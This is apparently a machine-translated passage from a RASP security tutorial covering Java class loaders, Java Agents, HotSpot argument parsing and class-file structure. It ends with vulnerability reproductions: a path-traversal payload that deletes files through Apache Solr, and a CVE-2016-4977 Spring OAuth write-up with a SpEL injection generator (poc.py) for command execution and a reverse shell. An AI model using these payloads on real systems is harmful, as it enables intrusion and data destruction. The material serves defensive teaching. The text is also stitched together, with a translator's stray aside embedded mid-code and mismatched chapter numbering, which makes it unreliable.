Class<?> scriptImpl2 = scriptClassLoader2.loadClass("ScriptImpl");
// The class objects are not identical
assert scriptImpl1 != scriptImpl2;
}
}

When loading the same class using different class loaders, the resulting class objects will be different. This allows for runtime updates to the implementation of the ScriptImpl class. The implementation of ScriptClassLoader is as follows:

public class ScriptClassLoader extends ClassLoader {
private String classDir;
public ScriptClassLoader(String classDir,ClassLoader classLoader) {
super(classLoader);
this.classDir = classDir;
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] classDate = getClassByte(name);
if (classDate == null) {
return null;
}
return defineClass(name, classDate, 0, classDate.length);
} catch (IOException e) {
e.printStackTrace();
}
return null;
}```java
private byte[] getClassByte(String className) throws IOException {
InputStream in = null;
ByteArrayOutputStream out = null;
String path = classDir + File.separatorChar +
className.replace('.', File.separatorChar) + ".class";
try {
in = new FileInputStream(path);
out = new ByteArrayOutputStream();
byte[] buffer = new byte[2048];
int len = 0;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (FileNotFoundException e) {
e.printStackTrace();
} finally {
in.close();
out.close();
}
return null;
}
}

Java Agent Principle Analysis

Diagnostic tools commonly used for performance issues, such as arthas and btrace, are all implemented based on Java Agent. A Java Agent is a JAR package, but its startup method differs from regular JAR packages. For regular JAR packages, startup is achieved by specifying the main function of a class, whereas a Java Agent cannot run independently—it must attach to a running Java application. This chapter first implements a simple Java Agent, then analyzes the initialization and underlying implementation source code of Java Agent.

6.1 Java Agent Basics

6.1.1 Implementing a Simple Java Agent

The code for the Agent class is as follows:

package org.example;
import java.lang.instrument.Instrumentation;
public class Agent {
// Loaded via VM parameters, executed before the main method of the Java program
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("premain run");
}
// Loaded via Attach, executed after the Java program starts
public static void agentmain(String agentArgs, Instrumentation inst) {
System.out.println("agentmain run");
}
}

You need to implement specific Agent logic in either the agentmain or premain methods, such as reading thread states, monitoring data, and modifying class bytecode.Due to the special nature of Java Agent, some additional configurations are required. You need to create a MANIFEST.MF file in the META-INF directory, which can be generated either manually or automatically using a Maven plugin. Here we recommend using the Maven plugin for automatic generation. Add the following plugin configuration in the pom.xml file, where the values for Premain-Class and Agent-Class should be the fully qualified name of the Agent class mentioned above. The configuration is as follows:

<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>2.4</version>
<configuration>
<archive>
<manifestEntries>
<Premain-Class>org.example.Agent</Premain-Class>
<Agent-Class>org.example.Agent</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
<Can-Set-Native-Method-Prefix>true</Can-Set-Native-Method-Prefix>
</manifestEntries>
</archive>
</configuration>
</plugin>
</plugins>
</build>

After compiling the project, extract the output jar file and check the META-INF/MANIFEST.MF file as shown below. You can see that the Java Agent entry class org.example.Agent has been written into the file.

Manifest-Version: 1.0
Premain-Class: org.example.Agent
Archiver-Version: Plexus Archiver
Built-By: root
Agent-Class: org.example.Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Can-Set-Native-Method-Prefix: true
Created-By: Apache Maven 3.6.3
Build-Jdk: 1.8.0_261

6.1.2 Loading Agent

A Java Agent can be loaded either before program execution or dynamically during runtime. The main difference lies in the initialization timing of the Agent.

  • Command-line startupAdd the following parameter to the JVM command line:
-javaagent:/path/to/your/jarpath[=options]

The options parameter is optional. For example, the startup parameters for the Jacoco agent are as follows:

java -javaagent:jacocoagent.jar=includes=*,output=tcpserver,port=6300,address=localhost,append=true -jar application.jar

The premain method allows the following two method signatures:

public static void premain(String agentArgs, Instrumentation inst);
public static void premain(String agentArgs);

When both methods exist, the one with the Instrumentation parameter takes precedence and will be called first by the JVM. Here is an example of loading a Java Agent in a SpringBoot application via the command line:

java -javaagent:/path/to/your/my-agent-1.0.jar -jar application.jar

The terminal logs during service startup will display the “premain run” output.

  • Dynamic Loading at Runtime

After the application starts, load the Java Agent using the Attach mechanism provided by the JVM. The Attach mechanism has been detailed in previous chapters and will not be repeated here.

6.1.3 Agent Feature Switches

The following are definitions of Manifest Attributes for an Agent jar package:

  • Premain-Class

Specifies the entry class of the Agent to be loaded before application startup.

  • Agent-Class

Specifies the entry class of the Agent to be loaded at runtime.

  • Boot-Class-Path

Specifies the loading path for the Agent’s dependent jar packages. The jar packages in this path are loaded by the bootstrap classloader before the Agent is loaded.

  • Can-Redefine-Classes

Indicates whether the Agent is allowed to redefine classes. The default value is false.

  • Can-Retransform-Classes

Indicates whether the Agent is allowed to retransform classes. The default value is false.

  • Can-Set-Native-Method-Prefix

Indicates whether the Agent can set a prefix for native methods. If set to true, it allows the current Agent to set prefixes for native methods, indirectly enabling bytecode modification of native methods.

All six attributes above are used in Java Agents. Refer to the official documentation:

Official Documentation: https://docs.oracle.com/javase/8/docs/api/java/lang/instrument/compact3-package-summary.html

An Agent jar package can contain both Premain-Class and Agent-Class. When a Java Agent is started via the command line, only Premain-Class is used, and Agent-Class is ignored. Conversely, when starting a Java Agent at runtime, only Agent-Class is used.

6.1.4 Java Agent Debugging

Before analyzing the initialization source code of a Java Agent, let’s first look at how to debug an Agent’s code, which is crucial for troubleshooting Agent-related issues.

  • Starting the Application

Add jdwp and Java Agent parameters to the JVM startup parameters in a SpringBoot application as shown below:

Figure 6-1 Debugging underlying command execution codeFigure 6-1 Debugging the underlying command execution code

The startup command is as follows:

java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -javaagent:rce-agent-1.0-SNAPSHOT.jar -jar jetty-demo-0.0.1-SNAPSHOT.jar
  • Add debug parameters to the Java Agent project

Figure 6-2 Debugging the underlying command execution code

Figure 6-2 Debugging the underlying command execution code

  • Set breakpoints and run debug on Java Agent source code

Figure 6-3 Adding breakpoints at the premain entry method

Figure 6-3 Adding breakpoints at the premain entry Setting debug breakpoints at the premain entry can be challenging. You may add a slight delay when entering the premain method.

Figure 6-4 Adding breakpoints at the visitMethod method

Figure 6-4 Adding breakpoints at the visitMethod method

6.2 Agent Loading Source Code Analysis

https://blog.51cto.com/u_16213564/7607442

6.2.1 javaagent Parameter Parsing

During JVM startup, it reads JVM command-line parameters such as heap space, metaspace, and thread stack size. Numerous parameters are parsed during initialization, so this article focuses only on agent-related parameters like: agentlib, agentpath, and javaagent. When “-javaagent:/path/to/your/agent.jar” is added to the startup parameters during JVM launch, it can be loaded and initialized by the JVM. Let’s examine the implementation of this logic. All JVM startup parameters are parsed in parse_each_vm_init_arg. The following code snippet shows the parsing code for javaagent.

jint Threads::create_vm(JavaVMInitArgs* args, bool* canTryAgain){
// ...
jint parse_result=Arguments::parse(args);
if(parse_result!=JNI_OK)return parse_result;
// ...
}

The Arguments class is responsible for parameter parsing. Let’s look at the implementation of the parse member method:

jdk11/src/hotspot/share/runtime/arguments.cpp

jint Arguments::parse(const JavaVMInitArgs* initial_cmd_args) {
assert(verify_special_jvm_flags(), "deprecated and obsolete flag table inconsistent");
// Initialize ranges, constraints and writeables
JVMFlagRangeList::init();
JVMFlagConstraintList::init();
JVMFlagWriteableList::init(); // If flag "-XX:Flags=flags-file" is used it will be the first option to be processed.
const char* hotspotrc = ".hotspotrc";
bool settings_file_specified = false;
bool needs_hotspotrc_warning = false;
ScopedVMInitArgs initial_java_tool_options_args("env_var='JAVA_TOOL_OPTIONS'");
ScopedVMInitArgs initial_java_options_args("env_var='_JAVA_OPTIONS'");
// Pointers to current working set of containers
JavaVMInitArgs* cur_cmd_args;
JavaVMInitArgs* cur_java_options_args;
JavaVMInitArgs* cur_java_tool_options_args;
// Containers for modified/expanded options
ScopedVMInitArgs mod_cmd_args("cmd_line_args");
ScopedVMInitArgs mod_java_tool_options_args("env_var='JAVA_TOOL_OPTIONS'");
ScopedVMInitArgs mod_java_options_args("env_var='_JAVA_OPTIONS'");
jint code =
parse_java_tool_options_environment_variable(&initial_java_tool_options_args);
if (code != JNI_OK) {
return code;
}
code = parse_java_options_environment_variable(&initial_java_options_args);
if (code != JNI_OK) {
return code;
}
code = expand_vm_options_as_needed(initial_java_tool_options_args.get(),
&mod_java_tool_options_args,
&cur_java_tool_options_args);
if (code != JNI_OK) {
return code;
}
code = expand_vm_options_as_needed(initial_cmd_args,
&mod_cmd_args,
&cur_cmd_args);
if (code != JNI_OK) {
return code;
}```c
code = expand_vm_options_as_needed(initial_java_options_args.get(),
&mod_java_options_args,
&cur_java_options_args);
if (code != JNI_OK) {
return code;
}
const char* flags_file = Arguments::get_jvm_flags_file();
settings_file_specified = (flags_file != NULL);
if (IgnoreUnrecognizedVMOptions) {
cur_cmd_args->ignoreUnrecognized = true;
cur_java_tool_options_args->ignoreUnrecognized = true;
cur_java_options_args->ignoreUnrecognized = true;
}
// Parse specified settings file
if (settings_file_specified) {
if (!process_settings_file(flags_file, true,
cur_cmd_args->ignoreUnrecognized)) {
return JNI_EINVAL;
}
} else {
#ifdef ASSERT
// Parse default .hotspotrc settings file
if (!process_settings_file(".hotspotrc", false,
cur_cmd_args->ignoreUnrecognized)) {
return JNI_EINVAL;
}
#else
struct stat buf;
if (os::stat(hotspotrc, &buf) == 0) {
needs_hotspotrc_warning = true;
}
#endif
}
if (PrintVMOptions) {
print_options(cur_java_tool_options_args);
print_options(cur_cmd_args);
print_options(cur_java_options_args);
}
``````c
// Parse JavaVMInitArgs structure passed in, as well as JAVA_TOOL_OPTIONS and _JAVA_OPTIONS
jint result = parse_vm_init_args(cur_java_tool_options_args,
cur_java_options_args,
cur_cmd_args);
if (result != JNI_OK) {
return result;
}
// Call get_shared_archive_path() here, after possible SharedArchiveFile option got parsed.
SharedArchivePath = get_shared_archive_path();
if (SharedArchivePath == NULL) {
return JNI_ENOMEM;
}
// Set up VerifySharedSpaces
if (FLAG_IS_DEFAULT(VerifySharedSpaces) && SharedArchiveFile != NULL) {
VerifySharedSpaces = true;
}
// Delay warning until here so that we've had a chance to process
// the -XX:-PrintWarnings flag
if (needs_hotspotrc_warning) {
warning("%s file is present but has been ignored. "
"Run with -XX:Flags=%s to load the file.",
hotspotrc, hotspotrc);
}
if (needs_module_property_warning) {
warning("Ignoring system property options whose names match the '-Djdk.module.*'."
" names that are reserved for internal use.");
}
#if defined(_ALLBSD_SOURCE) || defined(AIX) // UseLargePages is not yet supported on BSD and AIX.
UNSUPPORTED_OPTION(UseLargePages);
#endif
ArgumentsExt::report_unsupported_options();
```The provided content is already in English and consists of C++ code blocks with conditional compilation directives and configuration settings. Since this is code and not Chinese text requiring translation, I'll return it exactly as provided:
```c++
#ifndef PRODUCT
if (TraceBytecodesAt != 0) {
TraceBytecodes = true;
}
if (CountCompiledCalls) {
if (UseCounterDecay) {
warning("UseCounterDecay disabled because CountCalls is set");
UseCounterDecay = false;
}
}
#endif // PRODUCT
if (ScavengeRootsInCode == 0) {
if (!FLAG_IS_DEFAULT(ScavengeRootsInCode)) {
warning("Forcing ScavengeRootsInCode non-zero");
}
ScavengeRootsInCode = 1;
}
if (!handle_deprecated_print_gc_flags()) {
return JNI_EINVAL;
}
// Set object alignment values.
set_object_alignment();
#if !INCLUDE_CDS
if (DumpSharedSpaces || RequireSharedSpaces) {
jio_fprintf(defaultStream::error_stream(),
"Shared spaces are not supported in this VM\n");
return JNI_ERR;
}
if ((UseSharedSpaces && FLAG_IS_CMDLINE(UseSharedSpaces)) ||
log_is_enabled(Info, cds)) {
warning("Shared spaces are not supported in this VM");
FLAG_SET_DEFAULT(UseSharedSpaces, false);
LogConfiguration::configure_stdout(LogLevel::Off, true, LOG_TAGS(cds));
}
no_shared_spaces("CDS Disabled");
#endif // INCLUDE_CDS
return JNI_OK;
}
``````c++
jint Arguments::parse_each_vm_init_arg(const JavaVMInitArgs* args, bool* patch_mod_javabase, JVMFlag::Flags origin) {
const char* tail;
// Iterate through each startup parameter
for (int index = 0; index < args->nOptions; index++) {
const JavaVMOption* option = args->options + index;
// Other parameters omitted
// -agentlib, -agentpath parameter parsing
if (match_option(option, "-agentlib:", &tail) ||
(is_absolute_path = match_option(option, "-agentpath:", &tail))) {
if(tail != NULL) {
const char* pos = strchr(tail, '=');
size_t len = (pos == NULL) ? strlen(tail) : pos - tail;
char* name = strncpy(NEW_C_HEAP_ARRAY(char, len + 1, mtArguments), tail, len);
name[len] = '\0';
char *options = NULL;
if(pos != NULL) {
options = os::strdup_check_oom(pos + 1, mtArguments);
}
add_init_agent(name, options, is_absolute_path);
}
// -javaagent parameter parsing
} else if (match_option(option, "-javaagent:", &tail)) {
if (tail != NULL) {
size_t length = strlen(tail) + 1;
char *options = NEW_C_HEAP_ARRAY(char, length, mtArguments);
jio_snprintf(options, length, "%s", tail);
// Add an instrument agent
add_instrument_agent("instrument", options, false);
}
}
// ...
return JNI_OK;
}

The add_instrument_agent method primarily encapsulates agent parameters into AgentLibrary objects and adds them to a linked list. The code is as follows:

// -agentlib and -agentpath arguments
static AgentLibraryList _agentList;
``````c++
void Arguments::add_instrument_agent(const char* name, char* options, bool absolute_path) {
_agentList.add(new AgentLibrary(name, options, absolute_path, NULL, true));
}

6.2.2 Agentlib Loading

Agent initialization and

jdk11/src/hotspot/share/runtime/thread.cpp

jint Threads::create_vm(JavaVMInitArgs* args, bool* canTryAgain) {
// Other VM initialization code
// Launch agents
if (Arguments::init_agents_at_startup()) {
create_vm_init_agents();
}
}

The implementation of create_vm_init_agents method is as follows:

void Threads::create_vm_init_agents() {
extern struct JavaVM_ main_vm;
AgentLibrary* agent;
JvmtiExport::enter_onload_phase();
// Traverse the agentList linked list and call Agent_OnLoad to complete agent initialization
for (agent = Arguments::agents(); agent != NULL; agent = agent->next()) {
OnLoadEntry_t on_load_entry = lookup_agent_on_load(agent);
if (on_load_entry != NULL) {
// Call Agent_OnLoad function
jint err = (*on_load_entry)(&main_vm, agent->options(), NULL);
if (err != JNI_OK) {
vm_exit_during_initialization("agent library failed to init", agent->name());
}
} else {
vm_exit_during_initialization("Could not find Agent_OnLoad function in the agent library", agent->name());
}
}
JvmtiExport::enter_primordial_phase();
}

Class Files and Bytecode Instructions

Chapter Introduction

The foundation of RASP implementation lies in inserting detection code into target methods, which inevitably involves bytecode modification. In recent years, the identification and detection of various memory shells also involve bytecode files. Understanding the structure of class files is the basis for implementing bytecode detection and modification. This chapter will detail the structure of bytecode files, with a focus on the parts relevant to RASP.

Structure of Class Files

A Class file is a binary stream composed of 8-bit bytes as basic units, storing data in a fixed format specified by the Java Virtual Machine Specification.
Two data types are used for storing data: unsigned numbers and tables.

  • Unsigned numbers: Unsigned numbers are basic data types, represented by u1, u2, u4, and u8 for 1-byte, 2-byte, 4-byte, and 8-byte unsigned numbers, respectively. Unsigned numbers can describe numbers, index references, quantity tables, or string values encoded in UTF-8.
  • Tables: Composite data types consisting of multiple unsigned numbers or other tables as data items, ending with “_info”, used to describe hierarchical composite data structures.

To understand bytecode files, the following two basic concepts are also required.

  • Fully qualified name: The fully qualified name of a class replaces all ”.” in the full class name with ”/”, e.g., java.lang.String becomes java/lang/String. Fully qualified names are separated by ”;”.
  • Descriptor: Descriptors describe the data type of fields, the parameter list of methods, and return values. Each symbol corresponds to a different data type, as shown in Table 2-1.

Table 2-1 Java Types and Descriptor Symbols

DescriptorType
Bbyte
Cchar
Ddouble
Ffloat
Iint
Jlong
Sshort
Zboolean
Vvoid
LLjava/lang/Object;

Generally, the type descriptor symbol is the first letter of the basic type in uppercase. A few exceptions are notable: J, L, and Z. These three require special memorization: J represents long, L represents objects, and Z represents boolean.

Table 2-2 shows the fixed format for Class files as specified by the Java Virtual Machine Specification. All Class files store content in this format. (Note: Each class file’s content is composed in the order listed below. If certain types are not involved, they can be empty.)

Table 2-2 Format of Class Files

TypeNameCountBytes OccupiedMeaning
u4magic14Magic Number
u2minor_version12Minor Version
u2major_version12Major Version
u2constant_pool_count12Constant Pool Count
cp_infoconstant_poolconstant_pool_count-1Table StructureConstant Pool Table
u2access_flags12Class Access Flags
u2this_class12Class Index
u2super_class12Superclass Index
u2interfaces_count12Interface Count
u2interfacesinterfaces_countTable StructureInterface Structure Table
u2fields_count12Field Count
field_infofieldsfields_countTable StructureField Structure Table
u2methods_count12Method Count
method_infomethodsmethods_countTable StructureMethod Structure Table
u2attributes_count12Class Attribute Array Length
attribute_infoattributesattributes_countTable StructureAttribute Structure Table

The JVM specification requires every bytecode file to consist of these ten parts in a fixed order. The overall structure is shown in Figure 2-1:

This section will use the following code to illustrate the class structure. The Foo class below contains only a main method.

public class Foo {
public static void main(String[] args) {
System.out.println("hello word!");
}
}

Figure 2-1 Foo.class File Data

Figure 2-1 Foo.class.jpg

Class files are complex and require analysis tools for inspection.

The first eight bytes: CA FE BA BE 00 00 00 34. The first four bytes are the magic number of the class file, fixed as CAFEBABE. Its purpose is to determine whether the class file can be accepted by the JVM. When the class loader loads a class file into memory, files whose first eight bytes are not “CAFEBABE” will be rejected. The next four bytes are divided into minor and major version numbers. The major version here is 0034 (52), corresponding to JDK8, while the minor version is generally 0. If the class file’s version number is higher than the JVM’s own version number, loading the class will throw a java.lang.UnsupportedClassVersionError. Java version numbers start from 45. After JDK1.1, each major JDK release typically increments the major version number by one. Higher versions of JDK can be backward compatible with older versions of class files but cannot run files with version numbers higher than the current JVM version. Even if the file format has not changed at all, the virtual machine must refuse to execute class files with version numbers exceeding its own. The major version numbers for released versions are shown in Table 2-3.

Table 2-3 Relationship Between Java Versions and Major Versions

JDK VersionMajor Version Number (Major)
Java1.145
Java1.246
Java1.347
Java1.448
Java549
Java650
Java751
Java852
Java953
Java1054
Java1155
Java1761
Java1862

Decompiling Class Files

javap Tool

javap is a Java class file disassembler that can decompile or view bytecode generated by the Java compiler. The javap help manual is shown below.

Figure 2-2 javap Help Manual

Figure 2-2 javap Help Manual

  • Without any parameters:
~ javap Foo
Compiled from "Foo.java"
public class Foo {
public Foo();
public static void main(java.lang.String[]);
}

By default, javap displays methods with public, protected, and default access levels. To display private methods and fields, use the -p option.

  • -s outputs type descriptor signature information:
~ javap -s Foo
Compiled from "Foo.java"
public class Foo {
public Foo();
descriptor: ()V
public static void main(java.lang.String[]);
descriptor: ([Ljava/lang/String;)V
}
  • -c disassembles the code:
Compiled from "Foo.java"
public class Foo {
public Foo();
Code:
0: aload_0
1: invokespecial #1 // Method java/lang/Object."<init>":()V
4: return
public static void main(java.lang.String[]);
Code:
0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream;
3: ldc #3 // String hello word!
5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8: return
}
  • -l outputs line numbers and local variable tables:
Compiled from "Foo.java"
public class Foo {
public Foo();
LineNumberTable:
line 1: 0
LocalVariableTable:
Start Length Slot Name Signature
0 5 0 this LFoo;
public static void main(java.lang.String[]);
LineNumberTable:
line 3: 0
line 4: 8
LocalVariableTable:
Start Length Slot Name Signature
0 9 0 args [Ljava/lang/String;
}
  • -v displays detailed class information, including version numbers, access flags, constant pools, method descriptors, etc., and is the most frequently used option.
Classfile /Users/xxx/Foo.class
Last modified Sep 5, 2024; size 542 bytes
MD5 checksum 4c43623c887cd026d5e99e26eaf13c3b
Compiled from "Foo.java"
public class Foo
minor version: 0
major version: 52
flags: (0x0021) ACC_PUBLIC, ACC_SUPER
this_class: #5 // Foo
super_class: #6 // java/lang/Object
interfaces: 0, fields: 0, methods: 2, attributes: 1
Constant pool:
#1 = Methodref #6.#21 // java/lang/Object."<init>":()V
#2 = Fieldref #22.#23 // java/lang/System.out:Ljava/io/PrintStream;
#3 = String #24 // hello word!
#4 = Methodref #25.#26 // java/io/PrintStream.println:(Ljava/lang/String;)V
#5 = Class #27 // Foo
#6 = Class #28 // java/lang/Object
#7 = Utf8 <init>
#8 = Utf8 ()V
#9 = Utf8 Code
#10 = Utf8 LineNumberTable
#11 = Utf8 LocalVariableTable
#12 = Utf8 this
#13 = Utf8 LFoo;
#14 = Utf8 main
#15 = Utf8 ([Ljava/lang/String;)V
#16 = Utf8 args
#17 = Utf8 [Ljava/lang/String;
#18 = Utf8 MethodParameters
#19 = Utf8 SourceFile
#20 = Utf8 Foo.java
#21 = NameAndType #7:#8 // "<init>":()V
#22 = Class #29 // java/lang/System
#23 = NameAndType #30:#31 // out:Ljava/io/PrintStream;
#24 = Utf8 hello word!
#25 = Class #32 // java/io/PrintStream
#26 = NameAndType #33:#34 // println:(Ljava/lang/String;)V
#27 = Utf8 Foo
#28 = Utf8 java/lang/Object
#29 = Utf8 java/lang/System
#30 = Utf8 out
#31 = Utf8 Ljava/io/PrintStream;
#32 = Utf8 java/io/PrintStream
#33 = Utf8 println
#34 = Utf8 (Ljava/lang/String;)V
{
public Foo();
descriptor: ()V
flags: (0x0001) ACC_PUBLIC
Code:
stack=1, locals=1, args_size=1
0: aload_0
1: invokespecial #1 // Method java/lang/Object."<init>":()V
4: return
LineNumberTable:
line 1: 0
LocalVariableTable:
Start Length Slot Name Signature
0 5 0 this LFoo;
public static void main(java.lang.String[]);
descriptor: ([Ljava/lang/String;)V
flags: (0x0009) ACC_PUBLIC, ACC_STATIC
Code:
stack=2, locals=1, args_size=1
0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream;
3: ldc #3 // String hello word!
5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8: return
LineNumberTable:
line 3: 0
line 4: 8
LocalVariableTable:
Start Length Slot Name Signature
0 9 0 args [Ljava/lang/String;
MethodParameters:
Name Flags
args
}

Typically, the javap command is frequently used on servers.

jclasslib Tool

jclasslib Bytecode Editor is a tool that visualizes class files and modifies bytecode. Project address: https://github.com/ingokegel/jclasslib.git

The jclasslib main interface is shown in Figure 2-3.

Figure 2-3 jclasslib Main Interface

  • Editing the constant pool:

Figure 2-4 jclasslib Editing Constant Pool

  • Editing operation instructions:

Figure 2-5 jclasslib Editing Bytecode Instructions

The tool also provides an IDEA plugin. Search for “jclasslib” in IDEA Plugins to install it (Figure 2-6).

Figure 2-6 Installing jclasslib IDEA Plugin

Usage is illustrated below. After compiling the code, select “Show Bytecode With jclasslib” from the “View” menu to intuitively see information about the current bytecode file’s class info, constant pool, method area, etc.

Figure 2-7 Using IDEA Plugin

Bytecode Instructions

Chapter Summary

This chapter mainly introduced the composition and structure of class files, which form the foundation for bytecode modification and detection in later chapters. It also covered how to decompile compiled bytecode and introduced Java’s official command-line tool javap and the open-source visualization tool jclasslib.

File Access

Chapter Introduction

This chapter will explore the application of RASP in file access, including commonly used file read/write APIs, examples of file access vulnerabilities, and how to set up Hook points and detection algorithms.

Examples of File Access Vulnerabilities

  • Vulnerability Introduction

Apache Solr has an arbitrary file deletion vulnerability that remains unpatched in the current latest version (8.8.2). The root cause is that the function Files.deleteIfExists() does not validate the filename to be deleted. Additionally, Apache Solr’s Config API is publicly exposed, allowing any user to modify configurations, thereby causing harm.

  • Environment Setup

Download the binary and source code files of Apache Solr 8.8.2 for debugging purposes.

Download link: http://archive.apache.org/dist/lucene/solr/8.8.2

apachae-solr-download

Navigate to the bin directory and execute:

Terminal window
solr -e dih

Access http://IP:8983/solr/#/

solr-startup.png

  • Vulnerability Reproduction

Create a new file in the temporary directory:

Terminal window
touch /tmp/solr.txt

Send a POST request to any solr core’s config API, such as /solr/db/config or /solr/solr/config.

HTTP body:

{
"add-requesthandler": {
"name": "/test2021",
"class":"solr.PingRequestHandler",
"healthcheckFile":"../../../../../../../../../../../../../tmp/solr.txt"
}
}

The complete request is as follows:

img.png

Check if the creation was successful:

img.png

Send Request

Send a GET request to the core’s config API with the parameter action=DISABLE, for example: /solr/db/test2021?action=DISABLE

file-delete

Check /tmp/solr.txt File

The file has been deleted.

solr_txt

Hook Points and Detection Algorithms

To defend against file access vulnerabilities, Hook points can be set up in the application to intercept file operations and apply detection algorithms. Here are some common Hook points and detection strategies:

  • File Open Hook: Check the file path and permissions before a file is opened.
  • File Write Hook: Validate the content and target location before a write operation is executed.
  • File Delete Hook: Confirm the legality of the operation before a file is deleted.

Detection algorithms may include:

  • Path Normalization: Ensure paths are normalized and do not contain relative references like ”..”.
  • Whitelist/Blacklist: Allow or deny file access requests based on predefined rules.
  • Content Inspection: Scan uploaded file content to detect potential malicious code.

CVE-2016-4977

Spring Security OAuth2 Remote Command Execution Vulnerability (CVE-2016-4977)

Spring Security OAuth provides support for using Spring Security with OAuth (1a) and OAuth2 using standard Spring and Spring Security programming models and configuration idioms.

In its use of whitelabel views for error handling, an remote attacker can execute commands by constructing malicious parameters through the Springs Expression Language (SpEL).

Reference links.

Vulnerability environment

Execute the following command to start a Spring Security OAuth application.

docker-compose.yml

version: '2'
services:
spring:
image: vulhub/spring-security-oauth2:2.0.8
ports:
- "8080:8080"
docker compose up -d

After the server is started, browse the http://your-ip:8080/ to see its home page.

Exploit

Request to the http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test, first you need to fill in the username and password, we just fill in admin:admin here.

As you can see, SpEL expression ${233*233} has been successfully executed and returned the result.

We then use poc.py to generate an EXP for the reverse shell:

poc.py

#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)

As above, a long SpEL expression exploit is generated. Send the request with this SpEL exploit, a reverse shell is gained:

OK-RASP